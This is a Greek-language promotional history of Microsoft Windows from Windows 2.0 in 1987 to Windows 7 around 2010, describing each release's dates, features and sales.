Windows 2.0 Στις 9 Δεκεμβρίου του 1987, η Microsoft κυκλοφορεί τα Windows 2.0 με εικονίδια στην επιφάνεια εργασίας και εκτεταμένη μνήμη. Με βελτιωμένη υποστήριξη γραφικών, πλέον μπορείτε να επικαλύπτετε παράθυρα, να ελέγχετε τη διάταξη της οθόνης και να χρησιμοποιείτε συντομεύσεις του πληκτρολογίου για την επιτάχυνση της εργασίας σας. Ορισμένοι προγραμματιστές λογισμικού αναπτύσσουν τα πρώτα τους προγράμματα βάσει Windows για αυτή την έκδοση.
Τα Windows 2.0 είναι σχεδιασμένα για τον επεξεργαστή Intel 286. Με την κυκλοφορία του επεξεργαστή Intel 386, σύντομα ακολουθούν τα Windows/386 προκειμένου να επωφεληθούν από τις δυνατότητες εκτεταμένης μνήμης που διαθέτει. Οι μετέπειτα εκδόσεις των Windows συνεχίζουν να βελτιώνουν την ταχύτητα, την αξιοπιστία και τη χρησιμότητα του υπολογιστή.
Το 1988, η Microsoft γίνεται η μεγαλύτερη εταιρεία παροχής λογισμικού με βάση τις πωλήσεις. Οι υπολογιστές αρχίζουν να παίρνουν θέση στην καθημερινότητα ορισμένων υπαλλήλων γραφείου.

1990–1994: Windows 3.0Windows NT—Εισαγωγή στα γραφικά

Η επιφάνεια εργασίας των Windows 3.0
Στις 22 Μαΐου 1990, η Microsoft ανακοινώνει την κυκλοφορία των Windows 3.0, ενώ σύντομα ακολουθούν τα Windows 3.1 το 1992. Πωλούνται συνολικά 10 εκατομμύρια αντίγραφα και των δύο εκδόσεων μαζί μέσα στα 2 πρώτα χρόνια. Αυτό έχει σαν αποτέλεσμα τα Windows να είναι το ευρύτερα χρησιμοποιημένο λειτουργικό σύστημα μέχρι εκείνη την εποχή. Αυτή η τόσο μεγάλη επιτυχία οδηγεί τη Microsoft στην αναθεώρηση των σχεδίων της. Η Εικονική μνήμη βελτιώνει τα οπτικά γραφικά. Το 1990, τα Windows αρχίζουν να παίρνουν την όψη που έχουν σήμερα.
Τα Windows έχουν πλέον σημαντικά βελτιωμένη απόδοση, εξελιγμένα γραφικά με 16 χρώματα και βελτιωμένα εικονίδια. Ένα νέο κύμα PC με επεξεργαστή 386 συμβάλλει στην ενίσχυση της δημοτικότητας των Windows 3.0. Παρέχοντας πλήρη υποστήριξη στον επεξεργαστή Intel 386, τα προγράμματα εκτελούνται αισθητά ταχύτερα. Η Διαχείριση Προγραμμάτων, η Διαχείριση Αρχείων και η Διαχείριση Εκτυπώσεων εμφανίζονται για πρώτη φορά στα Windows 3.0.


Ο Bill Gates παρουσιάζει τα Windows 3.0 που μόλις κυκλοφόρησαν
Η δημοτικότητα των Windows 3.0 αυξάνεται με την κυκλοφορία ενός νέου Software Development Kit (SDK) των Windows, το οποίο βοηθάει τους προγραμματιστές να εστιάζουν περισσότερο στη δημιουργία προγραμμάτων και λιγότερο στη δημιουργία προγραμμάτων οδήγησης συσκευών. Τα Windows χρησιμοποιούνται όλο και περισσότερο στην εργασία και στο σπίτι και περιλαμβάνουν πλέον παιχνίδια όπως την Πασιέντζα, τις Κούπες και τον Ναρκαλιευτή. Διαφήμιση: “Τώρα μπορείτε να χρησιμοποιήσετε την απίστευτη ισχύ των Windows 3.0 για να χαζέψετε.”
Τα Windows for Workgroups 3.11 προσθέτουν υποστήριξη ομότιμων ομάδων εργασίας και δικτύωσης τομέων και, για πρώτη φορά, τα PC αποτελούν αναπόσπαστο μέρος της ανάπτυξης υπολογιστών πελατών/διακομιστών.

Windows NT

Με την κυκλοφορία των Windows NT στις 27 Ιουλίου 1993, η Microsoft επιτυγχάνει έναν πολύ σημαντικό στόχο: την ολοκλήρωση ενός έργου που ξεκίνησε στα τέλη της δεκαετίας του 80 και είχε σαν στόχο τη δημιουργία ενός νέου εξελιγμένου λειτουργικού συστήματος. "Τα Windows NT αποτελούν μια πολύ σημαντική αλλαγή στον τρόπο με τον οποίο οι εταιρείες μπορούν να ανταποκριθούν στις επιχειρησιακές απαιτήσεις ως προς τη χρήση των υπολογιστών" είπε ο Bill Gates κατά την επίσημη κυκλοφορία τους.
Ωστόσο, αντίθετα με τα Windows 3.1, τα Windows NT 3.1 είναι ένα λειτουργικό σύστημα 32 bit, το οποίο αποτελεί επιχειρησιακή στρατηγική πλατφόρμα και υποστηρίζει εξελιγμένα προγράμματα πληροφορικής και επιστημών.

1995–2001: Windows 95—το PC ενηλικιώνεται (και ας μην ξεχνάμε και το Internet)

Η επιφάνεια εργασίας των Windows 95
Στις 24 Αυγούστου 1995, η Microsoft θέτει σε κυκλοφορία τα Windows 95, πουλώντας 7 εκατομμύρια αντίτυπα μέσα στις πέντε πρώτες εβδομάδες. Πρόκειται για την κυκλοφορία προϊόντος της Microsoft με τη μεγαλύτερη διαφήμιση. Στα τηλεοπτικά διαφημιστικά εμφανίζονται οι Rolling Stones να τραγουδούν το "Start Me Up" ενώ προβάλλονται εικόνες του νέου κουμπιού "Έναρξη" (Start).
Ημέρα κυκλοφορίας: Ο Bill Gates παρουσιάζει τα Windows 95 Είναι η εποχή του φαξ και του μόντεμ, του ηλεκτρονικού ταχυδρομείου, του νέου ηλεκτρονικού κόσμου, των εντυπωσιακών παιχνιδιών πολυμέσων και του εκπαιδευτικού λογισμικού. Τα Windows 95 διαθέτουν ενσωματωμένη υποστήριξη Internet, δυνατότητα σύνδεσης σε δίκτυο μέσω τηλεφώνου και νέες δυνατότητες Τοποθέτησης και Άμεσης λειτουργίας που διευκολύνουν την εγκατάσταση υλικού και λογισμικού. Το λειτουργικό σύστημα 32 bit παρέχει επίσης βελτιωμένες δυνατότητες πολυμέσων, πιο ισχυρές λειτουργίες για χρήση φορητών υπολογιστών και ενσωματωμένη δυνατότητα δικτύωσης.
Windows 95
Την εποχή της κυκλοφορίας των Windows 95, τα προηγούμενα λειτουργικά συστήματα Windows και MS‑DOS εκτελούνταν στο 80 περίπου τοις εκατό των PC σε όλο τον κόσμο. Τα Windows 95 αποτελούν την αναβάθμιση αυτών των λειτουργικών συστημάτων. Για την εκτέλεση των Windows 95, χρειάζεστε ένα PC με επεξεργαστή 386DX ή μεγαλύτερο (συνιστάται 486) και RAM τουλάχιστον 4 MB (συνιστάται RAM 8 MB). Οι εκδόσεις αναβάθμισης διατίθενται σε δισκέτες και CD-ROM. Κυκλοφορούν σε 12 γλώσσες.
Στα Windows 95 εμφανίζεται για πρώτη φορά το μενού "Έναρξη", η γραμμή εργασιών, τα κουμπιά ελαχιστοποίησης, μεγιστοποίησης και κλεισίματος σε κάθε παράθυρο.
Windows 95

Ακολουθώντας το ρεύμα του Internet

Στις αρχές τις δεκαετίας του 90, οι ειδήμονες της τεχνολογίας μιλούν για το Internet—ένα δίκτυο που αποτελείται από άλλα δίκτυα και έχει τη δύναμη να συνδέει υπολογιστές σε όλο τον κόσμο. Το 1995, ο Bill Gates, στο υπόμνημά του με τίτλο “Το παλιρροιακό κύμα του Internet”, προκηρύσσει το Internet ως “την πιο σημαντική εξέλιξη από την εμφάνιση του PC.”
Το καλοκαίρι του 1995, τίθεται σε κυκλοφορία η πρώτη έκδοση του Internet Explorer. Το πρόγραμμα περιήγησης έρχεται να προστεθεί σε εκείνα που ήδη συναγωνίζονται για μια θέση στο World Wide Web.
Τεχνικές πληροφορίες: Το 1996, η Microsoft κυκλοφορεί το Flight Simulator για Windows 95. Είναι η πρώτη φορά στην 14ετή ιστορία του που είναι διαθέσιμο για τα Windows.

1998–2000: Windows 98, Windows 2000, Windows Me

Windows 98

Η επιφάνεια εργασίας των Windows 98
Τα Windows 98 τέθηκαν σε κυκλοφορία στις 25 Ιουνίου του 1998 και είναι η πρώτη έκδοση των Windows που σχεδιάστηκε ειδικά για καταναλωτές. Τα PC χρησιμοποιούνται ευρέως στην εργασία και στο σπίτι ενώ παντού εμφανίζονται Internet cafe όπου υπάρχει δυνατότητα σύνδεσης. Τα Windows 98 περιγράφονται ως το λειτουργικό σύστημα με καλύτερη λειτουργία και βελτιωμένη απόδοση.
Με τα Windows 98, μπορείτε να βρείτε πληροφορίες πιο εύκολα στα PC σας αλλά και στο Internet. Άλλες βελτιώσεις περιλαμβάνουν τη δυνατότητα ανοίγματος και κλεισίματος προγραμμάτων πιο γρήγορα καθώς και υποστήριξης για ανάγνωση δίσκων DVD και συσκευών ενιαίου σειριακού διαύλου (USB). Εάν άλλο στοιχείο που παρουσιάζεται για πρώτη φορά είναι η γραμμή γρήγορης εκκίνησης, η οποία σας επιτρέπει να εκτελείτε προγράμματα χωρίς να χρειάζεται να πραγματοποιήσετε μετάβαση στο μενού "Έναρξη" ή αναζήτηση στην επιφάνεια εργασίας.
Windows 98

Windows Me

Η εμπειρία μέσων των Windows Me Σχεδιασμένα για χρήση σε οικιακούς υπολογιστές, τα Windows Me παρέχουν αρκετές βελτιώσεις στις λειτουργίες μουσικής, βίντεο και οικιακής δικτύωσης καθώς και στην αξιοπιστία σε σχέση με τις προηγούμενες εκδόσεις.
Νέες εμφανίσεις: Επαναφορά συστήματος, μια δυνατότητα που μπορεί να επαναφέρει τις ρυθμίσεις παραμέτρων του λογισμικού του PC σε ημερομηνία ή ώρα προγενέστερη αυτής κατά την οποία παρουσιάστηκε το πρόβλημα. Το Windows Movie Maker παρέχει στους χρήστες τα εργαλεία για ψηφιακή επεξεργασία, αποθήκευση και κοινή χρήση οικιακών βίντεο. Και με τις τεχνολογίες Microsoft Windows Media Player 7, έχετε δυνατότητα εντοπισμού, οργάνωσης και αναπαραγωγής ψηφιακών μέσων.
Τεχνικές πληροφορίες: Από τεχνολογική άποψη, τα Windows Me ήταν το τελευταίο λειτουργικό σύστημα της Microsoft ου βασίστηκε στη βάση κώδικα των Windows 95. Η Microsoft ανακοίνωσε ότι όλα τα μελλοντικά προϊόντα λειτουργικών συστημάτων θα βασίζονταν στον πυρήνα των Windows NT και των Windows 2000.

Windows 2000 Professional

Windows 2000 Professional
Πολύ περισσότερο από απλή αναβάθμιση των Windows NT Workstation 4.0, τα Windows 2000 Professional σχεδιάστηκαν με σκοπό να αντικαταστήσουν τα Windows 95, τα Windows 98 και τα Windows NT Workstation 4.0 σε όλους τους επιχειρησιακούς επιτραπέζιους και φορητούς υπολογιστές. Σχεδιασμένα βάσει της δοκιμασμένης βάσης κώδικα των Windows NT Workstation 4.0, τα Windows 2000 προσθέτουν σημαντικές βελτιώσεις στην αξιοπιστία, την ευκολία χρήσης και την υποστήριξη της χρήσης φορητών υπολογιστών.
Μεταξύ άλλων βελτιώσεων, τα Windows 2000 Professional απλουστεύουν την εγκατάσταση υλικού προσθέτοντας υποστήριξη σε ένα εύρος προϊόντων υλικού Τοποθέτησης και Άμεσης λειτουργίας, στα οποία περιλαμβάνονται εξελιγμένα προϊόντα δικτύωσης και ασύρματης λειτουργίας, συσκευές USB, συσκευές IEEE 1394 και συσκευές υπερύθρων.
Τεχνικές πληροφορίες: Ο έλεγχος ανταπόκρισης σε συνθήκες πίεσης που γινόταν στα Windows 2000 κάθε βράδυ κατά τη διάρκεια της ανάπτυξης αντιστοιχεί σε τρεις μήνες λειτουργίας μέχρι και 1.500 υπολογιστών.

2001–2005: Windows XP—Σταθερά, χρησιμοποιήσιμα και γρήγορα

Η επιφάνεια εργασίας των Windows XP Home Edition Στις 25 Οκτωβρίου 2001, τα Windows XP κυκλοφορούν με ανανεωμένη εμφάνιση που επικεντρώνεται στη δυνατότητα χρήσης και ένα ενοποιημένο Κέντρο υπηρεσιών Βοήθειας και Υποστήριξης. Κυκλοφορούν σε 25 γλώσσες. Από τα μέσα της δεκαετίας του 70 μέχρι την κυκλοφορία των Windows XP, έχουν πουληθεί περίπου 1 δισεκατομμύριο PC σε όλο τον κόσμο.
Για τη Microsoft, τα Windows XP θα γίνουν ένα από τα προϊόντα με τις μεγαλύτερες πωλήσεις μέσα στα επόμενα χρόνια. Είναι γρήγορα και σταθερά. Η περιήγηση στο μενού "Έναρξη", στη γραμμή εργασιών και στον Πίνακα Ελέγχου είναι πιο διαισθητική. Αυξάνεται η ενημέρωση σχετικά με τους ιούς των υπολογιστών και τους χάκερ, αλλά οι φόβοι καθησυχάζονται ως ένα σημείο από την παροχή ενημερώσεων ασφαλείας μέσω Internet. Οι καταναλωτές αρχίζουν να κατανοούν τις προειδοποιήσεις σχετικά με ύποπτα συνημμένα και ιούς. Δίνεται μεγαλύτερη έμφαση στη Βοήθεια και Υποστήριξη.
Αποστολή: Τα Windows XP Professional είναι έτοιμα για τα καταστήματα λιανικής
Τα Windows XP Home Edition παρέχουν άψογη, απλουστευμένη οπτική σχεδίαση που κάνει περισσότερο προσβάσιμες τις πιο συνηθισμένες λειτουργίες. Σχεδιασμένα για οικιακή χρήση, τα Windows XP παρέχουν βελτιώσεις όπως ο Οδηγός εγκατάστασης δικτύου, το Windows Media Player, το Windows Movie Maker, καθώς και βελτιωμένες δυνατότητες ψηφιακής φωτογραφίας.
Τα Windows XP Professional παρέχουν την ενιαία υποδομή των Windows 2000 στην επιφάνεια εργασίας των PC, ενισχύοντας την αξιοπιστία, την ασφάλεια και την απόδοση. Με ανανεωμένη οπτική σχεδίαση, τα Windows XP Professional περιλαμβάνουν δυνατότητες για επιχειρήσεις και εξελιγμένη οικιακή χρήση υπολογιστών, στις οποίες περιλαμβάνεται η υποστήριξη της απομακρυσμένης επιφάνειας εργασίας, ένα σύστημα κρυπτογράφησης αρχείων, επαναφορά συστήματος και εξελιγμένες λειτουργίες δικτύωσης. Στις βασικές βελτιώσεις για χρήστες φορητών υπολογιστών περιλαμβάνεται η υποστήριξη ασύρματης δικτύωσης 802.1x, το Windows Messenger και η Απομακρυσμένη βοήθεια.
Τα Windows XP κυκλοφόρησαν σε αρκετές εκδόσεις κατά τη διάρκεια αυτών των ετών:
  • Η έκδοση 64 bit των Windows XP (2001) είναι το πρώτο λειτουργικό σύστημα της Microsoft για επεξεργαστές 64 bit που σχεδιάστηκε για να λειτουργεί με μνήμη μεγάλης χωρητικότητας και για εργασίες όπως τα ειδικά εφέ ταινιών, τα τρισδιάστατα κινούμενα σχέδια, τα προγράμματα πληροφορικής και επιστημών.
  • Τα Windows XP Media Center Edition (2002) έχουν σχεδιαστεί για οικιακή χρήση υπολογιστών και διασκέδαση. Μπορείτε να περιηγηθείτε στο Internet, να παρακολουθήσετε ζωντανά τηλεοπτικά προγράμματα, να απολαύσετε ψηφιακές συλλογές μουσικής και βίντεο και να δείτε DVD.
  • Τα Windows XP Tablet PC Edition (2002) κάνουν πραγματικότητα το όραμα της χρήσης υπολογιστών βάσει πένας. Τα Tablet PC περιλαμβάνουν μια ψηφιακή πένα για αναγνώριση χειρόγραφου αλλά μπορείτε να χρησιμοποιήσετε και το ποντίκι ή το πληκτρολόγιο.

2006–2008: Windows Vista—Έξυπνη ασφάλεια

Η επιφάνεια εργασίας των Windows Vista Τα Windows Vista κυκλοφόρησαν το 2006 και διέθεταν το ισχυρότερο σύστημα ασφάλειας. Ο Έλεγχος λογαριασμού χρήστη συμβάλλει στην αποτροπή αλλαγών στον υπολογιστή σας από δυνητικά επικίνδυνο λογισμικό. Στα Windows Vista Ultimate, η κρυπτογράφηση μονάδων δίσκου BitLocker παρέχει βελτιωμένη προστασία δεδομένων για τον υπολογιστή σας, καθώς αυξάνονται οι πωλήσεις των φορητών υπολογιστών και οι ανάγκες ασφάλειας. Τα Windows Vista διαθέτουν επίσης βελτιώσεις στο Windows Media Player καθώς όλο και περισσότεροι άνθρωποι αρχίζουν να αντιμετωπίζουν τα PC τους ως κεντρικές θέσεις για ψηφιακά μέσα. Σε αυτά μπορείτε να παρακολουθήσετε τηλεόραση, να δείτε και να στείλετε φωτογραφίες και να επεξεργαστείτε βίντεο.
Windows Vista Ultimate
Η σχεδίαση παίζει μεγάλο ρόλο στα Windows Vista και δυνατότητες όπως η γραμμή εργασιών και τα πλαίσια γύρω από τα παράθυρα αποκτούν μια εντελώς νέα εμφάνιση. Η Αναζήτηση αποκτά νέα σημασία και βοηθά τους χρήστες να εντοπίσουν αρχεία στα PC τους πιο γρήγορα. Τα Windows Vista παρουσιάζουν νέες εκδόσεις με διαφορετικό συνδυασμό δυνατοτήτων για τη κάθε μία. Κυκλοφορούν σε 35 γλώσσες. Το ανανεωμένο κουμπί "Έναρξη" εμφανίζεται για πρώτη φορά στα Windows Vista.
Τεχνικές πληροφορίες: Περισσότερες από 1,5 εκατομμύριο συσκευές είναι συμβατές με τα Windows Vista, όταν αυτά κυκλοφορούν για πρώτη φορά.

2009–Σήμερα: Windows 7 και έχει και συνέχεια...

Η επιφάνεια εργασίας των Windows 7
Μέχρι το τέλος της δεκαετίας του 2000, εμφανίστηκε και ο ασύρματος κόσμος. Όταν κυκλοφόρησαν τα Windows 7 τον Οκτώβριο του 2009, οι πωλήσεις των φορητών υπολογιστών ξεπερνούν αυτές των επιτραπέζιων και είναι πολύ συνηθισμένη η σύνδεση στο Internet σε δημόσια hotspot ασύρματης σύνδεσης, όπως είναι οι καφετέριες. Ασύρματα δίκτυα μπορούν να δημιουργηθούν στο γραφείο ή στο σπίτι.
Οι βελτιώσεις στη γραμμή εργασιών των Windows 7 περιλαμβάνουν ζωντανές προεπισκοπήσεις μικρογραφιών
Τα Windows 7 περιλαμβάνουν πολλές δυνατότητες, όπως νέους τρόπους εργασίας με παράθυρα—Συγκράτηση, Peek και Shake. Η δυνατότητα Windows Touch εμφανίζεται για πρώτη φορά, διευκολύνοντάς σας να χρησιμοποιήσετε τα δάκτυλά σας για περιήγηση στο web, εναλλαγή μεταξύ φωτογραφιών και άνοιγμα αρχείων και φακέλων. Μπορείτε να πραγματοποιήσετε ροή μουσικής, βίντεο και φωτογραφιών από το PC σε στερεοφωνικό ή τηλεόραση.
Μέχρι το φθινόπωρο του 2010, τα Windows 7 πωλούν επτά αντίγραφα ανά δευτερόλεπτο—οι ταχύτερες πωλήσεις λειτουργικού συστήματος στην ιστορία.